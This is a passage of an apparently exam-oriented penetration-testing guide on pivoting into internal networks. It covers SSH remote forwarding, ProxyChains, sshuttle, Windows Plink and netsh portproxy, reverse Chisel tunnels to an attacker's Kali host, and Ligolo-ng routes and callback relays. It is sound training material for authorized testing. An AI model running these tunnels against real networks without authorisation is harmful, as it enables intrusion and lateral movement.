The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SSH client: supported current OpenSSH
Outbound pivot -> server: allowed
Server-side SOCKS listener: required

Recognize this detail: Remote listener placement plus per-connection SOCKS destination selection suggests remote dynamic forwarding.

Still missing before method selection: Check implementation support, remote-forward policy, listener binding and proxy-client/DNS compatibility.

Outcome after checkingExample and next decision
Enabled after validationA supported remote dynamic listener carries the intended TCP clients: choose that mode.
Ruled out in this contextThe installed SSH client does not support the syntax or policy forbids it: reject that variant.
InconclusiveA version string without a controlled forwarding/application test leaves policy/transport unresolved.

If you do not yet have this clue: start with Expose an SSH-client-side destination through a server-side remote listener.

6.1.3.10.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: A supporting OpenSSH client, allowed remote forwarding, listener binding and SOCKS-compatible tool clients.

6.1.3.10.4 Discover and verify prerequisites

ssh -V

6.1.3.10.5 Why it works

Remote dynamic forwarding reverses listener placement while preserving per-connection SOCKS destination selection. OpenSSH implementation/version support must be checked.

6.1.3.10.6 Execute and choose variants

Run on the pivot:

ssh -N -R 127.0.0.1:1080 -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

The SOCKS listener appears on Kali and destination connections exit through the pivot. Remote dynamic forwarding requires OpenSSH 7.6 or later on the client that issues -R. Run ssh -V on the pivot (the SSH client). Run ss -lntp | grep 1080 on Kali (the SSH server hosting the SOCKS listener). These checks run on different machines; do not paste both into one terminal:

ssh -V
ss -lntp | grep 1080

6.1.3.10.7 Worked example — hypothetical

Observation: the pivot has a supported OpenSSH client and outbound SSH. Test: establish the documented remote dynamic listener and a single proxy-aware request. Illustrative output: the internal page returns. Interpretation: use the proxy with explicit DNS and TCP limitations.

6.1.3.10.8 Verify the result

Verify the listener's actual location and source-side exit by application evidence.

6.1.3.10.9 Failure and fallback

Unsupported client syntax or forwarding policy is different from destination filtering. Use a fixed remote forward if it satisfies the task.

6.1.3.10.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A SOCKS listener or an SSH jump host is already availableClient/proxy transport compatibility, correct proxy configuration and controlled name resolution§6.1.3.11 — Use ProxyChains, native SOCKS clients and SSH jump paths appropriately
The useful side can initiate SSH outward but cannot accept an inbound management connectionOutbound SSH route, accepted identity, server forwarding/GatewayPorts policy and reachability to the chosen client-side destination§6.1.3.9 — Expose an SSH-client-side destination through a server-side remote listener
An IP connection works while hostname/Kerberos access failsReachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time§6.1.3.18 — Preserve DNS, Kerberos names and time across a pivot

6.1.3.11 Use ProxyChains, native SOCKS clients and SSH jump paths appropriately

Blocks: 13; study fundamentals before 10–12. Operational procedure | Operational procedure | Quick sheet

6.1.3.11.1 Purpose and result

A verified application connection through the chosen proxy/jump.

6.1.3.11.2 Recognition clues

A SOCKS listener or an SSH jump host is already available.

6.1.3.11.2.1 Find the clue from your starting access

Where to investigate: Inspect the established proxy/jump topology and each intended client's actual SOCKS or SSH-jump support before a protocol test.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: Client/proxy transport compatibility, correct proxy configuration and controlled name resolution

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify destination application and resolver behavior through the intended path.

Failure/next check: Proxy interception is not universal. Use native proxy support, an SSH jump for SSH, or routed tunneling when the protocol requires it.

curl --socks5-hostname 127.0.0.1:SOCKS_PORT http://TARGET:PORT/

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Proxy-aware HTTP request: application response
Raw discovery request: no useful result

Recognize this detail: One supported TCP application works; the proxy does not automatically carry raw packets or arbitrary DNS/UDP.

Still missing before method selection: Check native versus intercepted support, connect-only scanner modes, name resolution and every required protocol leg.

Outcome after checkingExample and next decision
Enabled after validationThe actual client's application handshake works through the chosen proxy/jump: use it.
Ruled out in this contextA static/raw/UDP-only client is incompatible with this proxy wrapper: choose another transport.
InconclusiveA reachable SOCKS port without an end-to-end service test leaves the exit path unknown.

If you do not yet have this clue: start with Provide SOCKS access through SSH dynamic forwarding.

6.1.3.11.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Client/proxy transport compatibility, correct proxy configuration and controlled name resolution.

6.1.3.11.4 Discover and verify prerequisites

curl --socks5-hostname 127.0.0.1:SOCKS_PORT http://TARGET:PORT/

6.1.3.11.5 Why it works

Native proxy support and library interception work differently. A TCP connect path can work while raw probes, statically linked tools or local DNS leak outside the intended path.

6.1.3.11.6 Execute and choose variants

Direct SSH through an SSH pivot:

ssh -J PIVOT_USER@PIVOT TARGET_USER@INTERNAL_HOST

SSH through an existing SOCKS5 endpoint with Ncat:

ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' \
  TARGET_USER@INTERNAL_HOST

%h and %p are replaced with the destination host and port. Prefer this native proxy route when ProxyChains interposition is unreliable.

6.1.3.11.6.1 Use an SSH configuration for repeated access
Host pivot
  HostName PIVOT
  User PIVOT_USER

Host internal
  HostName INTERNAL_HOST
  User TARGET_USER
  ProxyJump pivot
ssh internal
scp FILE internal:DESTINATION_PATH

Use a task-specific configuration rather than repeatedly editing a shared global file:

strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
socks5 127.0.0.1 1080
proxychains4 -q -f ./proxychains-pivot.conf curl http://INTERNAL_HOST:PORT/
proxychains4 -q -f ./proxychains-pivot.conf nmap -sT -Pn -n -p PORTS INTERNAL_HOST
proxychains4 -q -f ./proxychains-pivot.conf impacket-smbclient \
  'DOMAIN/USER:PASSWORD@INTERNAL_HOST'

Constraints:

Native examples:

curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_HOST:PORT/
ncat --proxy-type socks5 --proxy 127.0.0.1:1080 INTERNAL_HOST INTERNAL_PORT

6.1.3.11.7 Worked example — hypothetical

Observation: curl works through SOCKS while a scanner fails. Test: use its documented connect-only mode and skip unsupported discovery. Illustrative output: selected TCP connections work. Interpretation: respect the client's transport limits rather than treating the proxy as broken.

6.1.3.11.8 Verify the result

Verify destination application and resolver behavior through the intended path.

6.1.3.11.9 Failure and fallback

Proxy interception is not universal. Use native proxy support, an SSH jump for SSH, or routed tunneling when the protocol requires it.

6.1.3.11.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
An assigned host needs an initial service queue or full TCP coverageSYN scanning needs raw-packet privileges; connect scanning needs OS TCP connections; specify selected versus full port coverage§1.1.7 — Discover TCP ports with SYN or connect scans
A credential appears valid but the destination's usable access is unknownReal source-to-service route, correct identity context and protocol-specific execution/logon rights§6.4.4.5 — Match route, destination service and effective authorization
Several protocols/subnets require a route-style interface through an agentCompatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet§6.1.3.16 — Route a selected internal subnet through Ligolo-ng

6.1.3.12 Route a selected subnet through sshuttle

Choose when: Multiple internal TCP destinations need transparent application access over SSH · Result: A verified transparent route for the chosen supported traffic

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.12.1 Purpose and result

A verified transparent route for the chosen supported traffic.

6.1.3.12.2 Recognition clues

Multiple internal TCP destinations need transparent application access over SSH.

6.1.3.12.2.1 Find the clue from your starting access

Where to investigate: Identify several internal TCP destinations, existing SSH access and whether the local/remote privilege/runtime requirements can be met.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: Working SSH/Python environment, local routing/firewall privileges and explicitly selected supported traffic/subnets

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify the actual application path and ensure only assigned subnets are selected.

Failure/next check: Missing local privilege, remote runtime or unsupported traffic can break this option. Use fixed forwards/SOCKS or a compatible routed tunnel.

ssh -v USER@PIVOT
python3 --version
ip route

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SSH path: accepted
Local routing/firewall context: inspect
Remote Python support: inspect in SSH context

Recognize this detail: An SSH carrier and compatible endpoints make a transparent selected-subnet route a candidate; local Python output alone does not prove the remote runtime.

Still missing before method selection: Verify local route/firewall permissions, remote runtime, supported transport/mode and explicitly selected subnet/DNS behavior.

Outcome after checkingExample and next decision
Enabled after validationThe selected application traffic works through the compatible mode: choose sshuttle.
Ruled out in this contextRequired local permission or remote support is unavailable: reject this route implementation.
InconclusiveTCP success does not establish unsupported UDP/raw behavior; test the actual requirement.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.12.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Working SSH/Python environment, local routing/firewall privileges and explicitly selected supported traffic/subnets.

6.1.3.12.4 Discover and verify prerequisites

ssh -v USER@PIVOT
python3 --version

6.1.3.12.5 Why it works

sshuttle redirects selected application traffic rather than providing an unrestricted raw-packet VPN. DNS handling and supported transports depend on its selected mode/platform.

6.1.3.12.6 Execute and choose variants

sudo sshuttle --dns \
  -r SSH_USER@PIVOT:SSH_PORT \
  INTERNAL_SUBNET ANOTHER_SUBNET

Through a previously established local forward to the SSH pivot:

sudo sshuttle --dns \
  -r SSH_USER@127.0.0.1:LOCAL_SSH_PORT \
  INTERNAL_SUBNET

sshuttle is useful when many TCP clients need transparent access. It requires privileges and firewall/redirection support on the client; the remote side needs a compatible Python execution path. It is not a general layer-2 VPN and does not make arbitrary raw-packet or UDP behavior equivalent to direct routing. Record the selected subnets so existing VPN routes are not accidentally captured.

6.1.3.12.7 Worked example — hypothetical

Observation: repeated proxy configuration is hindering several TCP clients. Test: route the selected subnet with the documented sshuttle settings and confirm a service. Illustrative output: a direct-style TCP application reaches the destination. Interpretation: validate DNS and unsupported transports separately.

6.1.3.12.8 Verify the result

Verify the actual application path and ensure only assigned subnets are selected.

6.1.3.12.9 Failure and fallback

Missing local privilege, remote runtime or unsupported traffic can break this option. Use fixed forwards/SOCKS or a compatible routed tunnel.

6.1.3.12.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
An IP connection works while hostname/Kerberos access failsReachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time§6.1.3.18 — Preserve DNS, Kerberos names and time across a pivot
A credential appears valid but the destination's usable access is unknownReal source-to-service route, correct identity context and protocol-specific execution/logon rights§6.4.4.5 — Match route, destination service and effective authorization
Several internal TCP services need access through one SSH serverSSH forwarding allowed and clients that support SOCKS or compatible interception; DNS behavior must be chosen explicitly§6.1.3.8 — Provide SOCKS access through SSH dynamic forwarding

Choose when: The pivot is Windows and available networking utilities constrain the route · Result: A selected TCP service reachable through the Windows pivot

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.13.1 Purpose and result

A selected TCP service reachable through the Windows pivot.

6.1.3.13.2 Recognition clues

The pivot is Windows and available networking utilities constrain the route.

6.1.3.13.2.1 Find the clue from your starting access

Where to investigate: From a Windows pivot inspect native/available tunnel utilities, its route to the destination and the rights needed by the selected implementation.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: Compatible OpenSSH/Plink authentication or administrative Netsh/IP Helper context; correct listener and destination paths

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify actual listener, route and application, then remove created portproxy/firewall state as appropriate.

Failure/next check: Missing admin rights blocks Netsh changes without disproving a user-space SSH route; firewall/bind failures are independent.

Get-Command ssh,plink,netsh -ErrorAction SilentlyContinue
Get-Service iphlpsvc
Test-NetConnection TARGET -Port PORT

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

ssh: available
iphlpsvc: Running
Destination TcpTestSucceeded: True
Administrative portproxy right: not yet known

Recognize this detail: Windows has a carrier/destination candidate; Netsh administrative state and user-space SSH requirements differ.

Still missing before method selection: Choose the supported tool, verify listener/bind/firewall and correct connection direction; check its exact rights.

Outcome after checkingExample and next decision
Enabled after validationThe selected implementation carries the application and cleanup state is known: use it.
Ruled out in this contextNo admin rights for portproxy rules out that Netsh route, not a valid user-space SSH option.
InconclusiveA running IP Helper service alone does not establish permission or a working forward.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.13.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Compatible OpenSSH/Plink authentication or administrative Netsh/IP Helper context; correct listener and destination paths.

6.1.3.13.4 Discover and verify prerequisites

Get-Command ssh,plink,netsh -ErrorAction SilentlyContinue
Get-Service iphlpsvc
Test-NetConnection TARGET -Port PORT

6.1.3.13.5 Why it works

OpenSSH/Plink carry SSH tunnels; Netsh portproxy provides a fixed TCP mapping and does not authenticate to the destination. Their rights and service prerequisites differ.

6.1.3.13.6 Execute and choose variants

6.1.3.13.6.1.1 Forward a selected TCP service from Windows Built-in OpenSSH client
where ssh.exe
ssh.exe -V
ssh.exe -N -R 127.0.0.1:1080 KALI_USER@LHOST -p KALI_SSH_PORT -o ExitOnForwardFailure=yes -o ServerAliveInterval=30

The same -L, -D, -R, ProxyJump and ProxyCommand concepts apply to current Windows OpenSSH. Remote dynamic forwarding depends on the client version.

Remote fixed forward from Windows to Kali:

plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l KALI_USER -pwfile C:\PATH\kali-password.txt ^
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT ^
  -P KALI_SSH_PORT LHOST

Local dynamic SOCKS on Windows:

plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l SSH_USER -pwfile C:\PATH\ssh-password.txt ^
  -D 127.0.0.1:1080 -P SSH_PORT PIVOT

Current Plink supports -L, -R and -D, but not OpenSSH's remote-dynamic shorthand. -batch prevents an unseen prompt from hanging; pair it with a verified -hostkey. -pwfile avoids a literal password in the command line but creates a sensitive file that must be protected and removed. Prefer a key or existing authenticated context where feasible.

6.1.3.13.6.1.3 Forward a selected TCP service from Windows Netsh portproxy

Elevated Windows shell:

netsh interface portproxy add v4tov4 ^
  listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT ^
  connectaddress=INTERNAL_HOST connectport=INTERNAL_PORT

netsh interface portproxy show all
netstat -ano -p tcp | findstr ":LOCAL_PORT"

If the existing firewall policy does not already allow the listener and a change is authorized:

netsh advfirewall firewall add rule name="OSCP Pivot LOCAL_PORT" ^
  dir=in action=allow protocol=TCP localport=LOCAL_PORT

Cleanup:

netsh interface portproxy delete v4tov4 ^
  listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT

netsh advfirewall firewall delete rule name="OSCP Pivot LOCAL_PORT"

portproxy requires an elevated token, forwards TCP rather than UDP, modifies persistent host configuration and may depend on the IP Helper service. A stored rule or listening socket still does not prove the destination is reachable. Record and remove both the proxy and any firewall rule.

6.1.3.13.7 Worked example — hypothetical

Observation: a Windows pivot can reach an internal service. Test: choose an available method whose privilege and direction conditions hold. Illustrative output: the selected forward carries the application's handshake. Interpretation: test destination authorization independently.

6.1.3.13.8 Verify the result

Verify actual listener, route and application, then remove created portproxy/firewall state as appropriate.

6.1.3.13.9 Failure and fallback

Missing admin rights blocks Netsh changes without disproving a user-space SSH route; firewall/bind failures are independent.

6.1.3.13.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A credential appears valid but the destination's usable access is unknownReal source-to-service route, correct identity context and protocol-specific execution/logon rights§6.4.4.5 — Match route, destination service and effective authorization
SSH reaches a server that can access the needed internal serviceAccepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route§6.1.3.7 — Forward a selected service through an SSH client-side listener
A pivoted exploit reaches its target but its shell/download cannot returnTarget-to-listener/download-server path, correct advertised address and compatible reverse listener/forward§6.1.3.19 — Build the callback and delivery routes separately from the attack route

6.1.3.14 Use a reverse Chisel SOCKS or fixed TCP tunnel

Choose when: A pivot can make outbound HTTP/WebSocket connections to the tunnel server · Result: A server-side SOCKS or fixed-port route into pivot-reachable services

Blocks: 13; study fundamentals before 10–12. Operational procedure | Operational procedure | Operational procedure | Quick sheet

6.1.3.14.1 Purpose and result

A server-side SOCKS or fixed-port route into pivot-reachable services.

6.1.3.14.2 Recognition clues

A pivot can make outbound HTTP/WebSocket connections to the tunnel server.

6.1.3.14.2.1 Find the clue from your starting access

Where to investigate: Map an outbound pivot-to-server HTTP/WebSocket path and identify whether the assessment side needs a fixed listener or SOCKS access.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: Compatible reviewed client/server, server reverse mode, reachable server port and pivot-to-destination access

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify tunnel establishment and end-to-end application behavior; a connected carrier alone is insufficient.

Failure/next check: WebSocket/proxy filtering, reverse mode, listener collision and destination denial are different failures.

chisel --version
chisel server --help
chisel client --help

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Compatible peers: inspect versions
Direction: pivot client -> assessment server
Required remote: R: fixed destination or R:socks

Recognize this detail: The outbound carrier and server-side listener requirement identify a reverse-tunnel topology.

Still missing before method selection: Verify server reverse mode, fingerprint, carrier upgrade, listener bind and pivot-to-destination compatibility.

Outcome after checkingExample and next decision
Enabled after validationThe carrier and intended service handshake succeed: choose the matching reverse remote.
Ruled out in this contextThe carrier/upgrade is blocked with no permitted route: reject this tunnel path.
InconclusiveA connected carrier without application response leaves listener/exit/client behavior unknown.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.14.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Compatible reviewed client/server, server reverse mode, reachable server port and pivot-to-destination access.

6.1.3.14.4 Discover and verify prerequisites

chisel --version
chisel server --help
chisel client --help

6.1.3.14.5 Why it works

The Chisel client initiates the carrier connection. A reverse remote specifies a listener on the server; SOCKS and fixed destinations provide different connection selection.

6.1.3.14.6 Execute and choose variants

On Kali:

chisel server --reverse --port CHISEL_PORT

Record the server fingerprint. On the pivot:

chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:socks

R:socks is the shorter equivalent using the default server-side 127.0.0.1:1080 listener. Traffic sent to Kali's SOCKS listener exits through the Chisel client/pivot.

6.1.3.14.6.1 Kali

# Kali
chisel server --reverse --port CHISEL_PORT

6.1.3.14.6.2 Pivot: expose an internal service on Kali loopback

# Pivot: expose an internal service on Kali loopback
chisel client --fingerprint 'SERVER_FINGERPRINT' LHOST:CHISEL_PORT \
  R:127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT
chisel --version
chisel server --help
chisel client --help
ss -lntp
CueInterpretation
No connection at serverPivot egress, address, listener or WebSocket/proxy path
HTTP reaches server but upgrade failsIntermediary may block WebSocket upgrade
exec format errorWrong OS/architecture
Missing GLIBC/version symbolBuild/runtime incompatibility; choose a compatible official build
Fingerprint mismatchWrong server or changed key; do not bypass verification blindly
SOCKS listener exists but endpoint failsPivot-to-destination or application/proxy compatibility
TCP works but UDP failsOrdinary socks, old peer, UDP bind/firewall or unsupported client

6.1.3.14.7 Worked example — hypothetical

Observation: outbound SSH is unavailable but the permitted HTTP path works. Test: establish the documented reverse tunnel and verify one application. Illustrative output: the server-side listener reaches the internal service. Interpretation: use the selected proxy/fixed destination and test DNS separately.

6.1.3.14.8 Verify the result

Verify tunnel establishment and end-to-end application behavior; a connected carrier alone is insufficient.

6.1.3.14.9 Failure and fallback

WebSocket/proxy filtering, reverse mode, listener collision and destination denial are different failures.

6.1.3.14.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A SOCKS listener or an SSH jump host is already availableClient/proxy transport compatibility, correct proxy configuration and controlled name resolution§6.1.3.11 — Use ProxyChains, native SOCKS clients and SSH jump paths appropriately
A credential appears valid but the destination's usable access is unknownReal source-to-service route, correct identity context and protocol-specific execution/logon rights§6.4.4.5 — Match route, destination service and effective authorization
An IP connection works while hostname/Kerberos access failsReachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time§6.1.3.18 — Preserve DNS, Kerberos names and time across a pivot

6.1.3.15 Use forward Chisel SOCKS and version-supported UDP routing

Choose when: The assessment-side client can reach a pivot-side tunnel server · Result: A forward proxy route with documented TCP/UDP behavior

Blocks: 13; study fundamentals before 10–12. Operational procedure | Operational procedure | Quick sheet

6.1.3.15.1 Purpose and result

A forward proxy route with documented TCP/UDP behavior.

6.1.3.15.2 Recognition clues

The assessment-side client can reach a pivot-side tunnel server.

6.1.3.15.2.1 Find the clue from your starting access

Where to investigate: Identify which side can reach a tunnel server, then inspect the exact peer version and whether TCP or SOCKS5 UDP ASSOCIATE is required.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: Compatible client/server roles, reachable carrier, correctly placed SOCKS listener and explicitly supported UDP-aware mode when required

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify the actual required transport end to end, with correct listener/exit placement.

Failure/next check: Version syntax, client compatibility and UDP destination reachability must all hold. Retain the known-working TCP path.

chisel --version
chisel client --help

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Tool-side client -> pivot server: possible
Needed transport: TCP, or explicitly supported UDP-aware mode
Ordinary ProxyChains: TCP-only

Recognize this detail: Forward placement and actual client transport determine the mode; a UDP-capable tunnel binary does not make every wrapper UDP-capable.

Still missing before method selection: Verify compatible peers, server SOCKS setting, listener route and the real application's UDP/TCP support.

Outcome after checkingExample and next decision
Enabled after validationThe intended application's required transport works end to end: use that configured mode.
Ruled out in this contextA TCP-only wrapper is used for a UDP-only operation: reject that combination.
InconclusiveTCP success without UDP-aware client/firewall evidence leaves UDP unresolved.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.15.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Compatible client/server roles, reachable carrier, correctly placed SOCKS listener and explicitly supported UDP-aware mode when required.

6.1.3.15.4 Discover and verify prerequisites

chisel --version
chisel client --help

6.1.3.15.5 Why it works

Forward and reverse Chisel place listeners differently. Ordinary SOCKS clients/ProxyChains do not acquire UDP support merely because a tunnel binary offers a UDP-aware mode.

6.1.3.15.6 Execute and choose variants

6.1.3.15.6.1 Pivot/server side

# Pivot/server side
chisel server --socks5 --port CHISEL_PORT

6.1.3.15.6.2 Kali/client side

# Kali/client side
chisel client --fingerprint 'SERVER_FINGERPRINT' PIVOT:CHISEL_PORT \
  127.0.0.1:1080:socks

Current upstream Chisel distinguishes:

socks / R:socks       -> SOCKS5 TCP CONNECT only
udpsocks / R:udpsocks -> TCP CONNECT plus SOCKS5 UDP ASSOCIATE
# Requires compatible current peers
chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:udpsocks

This does not make ProxyChains UDP-capable—ProxyChains remains TCP-only. The UDP application must support SOCKS5 UDP ASSOCIATE, or another compatible adapter must be used. Current Chisel peers, TCP and UDP firewall access to the SOCKS listener, and its documented association/fragmentation limits all matter.

6.1.3.15.7 Worked example — hypothetical

Observation: forward SOCKS works for TCP but a UDP-dependent client fails. Test: inspect Chisel version and that client's UDP/SOCKS support. Illustrative output: the client is TCP-only. Interpretation: select a compatible routed/UDP route instead of assuming the tunnel carries the traffic.

6.1.3.15.8 Verify the result

Verify the actual required transport end to end, with correct listener/exit placement.

6.1.3.15.9 Failure and fallback

Version syntax, client compatibility and UDP destination reachability must all hold. Retain the known-working TCP path.

6.1.3.15.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
Several protocols/subnets require a route-style interface through an agentCompatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet§6.1.3.16 — Route a selected internal subnet through Ligolo-ng
A SOCKS listener or an SSH jump host is already availableClient/proxy transport compatibility, correct proxy configuration and controlled name resolution§6.1.3.11 — Use ProxyChains, native SOCKS clients and SSH jump paths appropriately
An IP connection works while hostname/Kerberos access failsReachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time§6.1.3.18 — Preserve DNS, Kerberos names and time across a pivot

6.1.3.16 Route a selected internal subnet through Ligolo-ng

Choose when: Several protocols/subnets require a route-style interface through an agent · Result: A verified routed connection path including supported loopback/listener features

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.16.1 Purpose and result

A verified routed connection path including supported loopback/listener features.

6.1.3.16.2 Recognition clues

Several protocols/subnets require a route-style interface through an agent.

6.1.3.16.2.1 Find the clue from your starting access

Where to investigate: Use the pivot's route/interface evidence and the intended application's transport needs to decide whether a routed interface is appropriate.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify route/interface ownership, destination application and each necessary reverse listener.

Failure/next check: Overlapping routes, wrong session/interface or absent privilege can create a misleading connected agent without a working path.

ip route
ip link
./proxy -h

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Existing routes: SELECTED_SUBNET absent
Required client: unsuitable for current SOCKS path
Local interface/route permissions: inspect

Recognize this detail: A selected internal network and proxy-incompatible client suggest a route-style agent, subject to its own transport behavior.

Still missing before method selection: Verify compatible proxy/agent, local privileges, carrier, selected route/interface, DNS and any separate reverse listener.

Outcome after checkingExample and next decision
Enabled after validationThe routed application test works on the selected subnet: choose the agent route.
Ruled out in this contextA conflicting/unmodifiable route prevents this design: reject it or select an approved alternate subnet mapping.
InconclusiveAgent connection alone does not prove interface, route or destination reachability.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.16.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet.

6.1.3.16.4 Discover and verify prerequisites

ip route
ip link
./proxy -h

6.1.3.16.5 Why it works

A TUN-style interface lets applications use a route rather than per-tool SOCKS settings. Agent loopback aliases and reverse listeners solve different destination/callback problems and require their documented configuration.

6.1.3.16.6 Execute and choose variants

6.1.3.16.6.1.1 Establish the Ligolo proxy-agent connection Proxy and agent

On Kali:

./proxy -selfcert -laddr 0.0.0.0:LIGOLO_PORT

In the proxy console, obtain the fingerprint:

certificate_fingerprint

On the pivot:

./agent -connect LHOST:LIGOLO_PORT -accept-fingerprint CERT_FINGERPRINT

-ignore-cert is a controlled-lab/debug fallback, not the baseline.

6.1.3.16.6.1.2 Create the interface and selected route needed by the pivot Current managed interface and route

In the Ligolo console:

interface_create --name ligolo
session
ifconfig
interface_add_route --name ligolo --route INTERNAL_SUBNET
tunnel_start --tun ligolo

Manual Linux alternative:

sudo ip tuntap add user "$USER" mode tun ligolo
sudo ip link set ligolo up
sudo ip route add INTERNAL_SUBNET dev ligolo

Then use normal clients:

ip route get INTERNAL_HOST
nmap -sT -Pn -n -p PORTS INTERNAL_HOST
curl -v http://INTERNAL_HOST:PORT/

Ligolo translates connections through a userland network stack. Ordinary TCP clients generally work without ProxyChains, but raw-packet assumptions, ICMP details and some UDP behavior can differ from direct access. Use connect-based validation first.

6.1.3.16.6.1.3 Reach a service bound to the pivot host's loopback interface Pivot loopback services

Ligolo maps its special 240.0.0.0/4 range to the selected agent's loopback. Add one narrow route:

sudo ip route add 240.0.0.1/32 dev ligolo
nmap -sT -Pn -n -p PORTS 240.0.0.1

Use this only when the desired service is bound to 127.0.0.1 on the agent.

6.1.3.16.6.1.4 Callback or file-server listener on the agent

In the selected Ligolo session:

listener_add --addr 0.0.0.0:PIVOT_PORT --to 127.0.0.1:KALI_PORT --tcp
listener_list

Kali listener:

ncat -lvn 127.0.0.1 KALI_PORT

An internal target connects to PIVOT_REACHABLE_IP:PIVOT_PORT; Ligolo relays it to Kali's loopback listener. Cleanup:

listener_stop LISTENER_ID

6.1.3.16.7 Worked example — hypothetical

Observation: SOCKS transport limits block the intended client. Test: create the documented selected route and validate one destination service. Illustrative output: the service is reachable through the interface. Interpretation: verify name resolution and any callback listener independently.

6.1.3.16.8 Verify the result

Verify route/interface ownership, destination application and each necessary reverse listener.

6.1.3.16.9 Failure and fallback

Overlapping routes, wrong session/interface or absent privilege can create a misleading connected agent without a working path.

6.1.3.16.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A credential appears valid but the destination's usable access is unknownReal source-to-service route, correct identity context and protocol-specific execution/logon rights§6.4.4.5 — Match route, destination service and effective authorization
An IP connection works while hostname/Kerberos access failsReachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time§6.1.3.18 — Preserve DNS, Kerberos names and time across a pivot
A pivoted exploit reaches its target but its shell/download cannot returnTarget-to-listener/download-server path, correct advertised address and compatible reverse listener/forward§6.1.3.19 — Build the callback and delivery routes separately from the attack route

6.1.3.17 Conditional: tunnel through controlled DNS infrastructure

Choose when: DNS is an available carrier while simpler permitted routes are unavailable · Result: A verified constrained DNS carrier and its explicitly configured access capabilities

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

